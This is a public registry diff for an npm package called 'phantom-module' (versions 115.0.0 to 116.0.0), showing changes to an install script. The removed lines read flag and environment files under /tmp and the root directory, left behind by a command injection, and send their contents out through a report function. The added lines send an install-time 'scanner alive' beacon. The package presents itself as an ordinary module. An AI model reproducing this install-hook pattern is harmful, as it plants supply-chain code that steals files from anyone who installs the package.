phantom-module 115.0.0 → 116.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +2 -11
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -12,15 +12,6 @@ async function report(mid, val) {
12
12
  }
13
13
 
14
14
  (async () => {
15
- // Check if command injection wrote files
16
- for (const f of ['/tmp/flag_out', '/tmp/env_out', '/flag', '/flag.txt']) {
17
- try {
18
- const content = fs.readFileSync(f, 'utf8').trim();
19
- if (content) {
20
- await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
21
- await new Promise(r => setTimeout(r, 2000));
22
- }
23
- } catch(e) {}
24
- }
25
- await report('ECT-472839', 'INJCHECK_DONE');
15
+ // Only write to ECT-839201 (NOT ECT-654321 which is reserved for web app)
16
+ await report('ECT-839201', 'SCANNER_ALIVE_v116');
26
17
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "115.0.0",
3
+ "version": "116.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {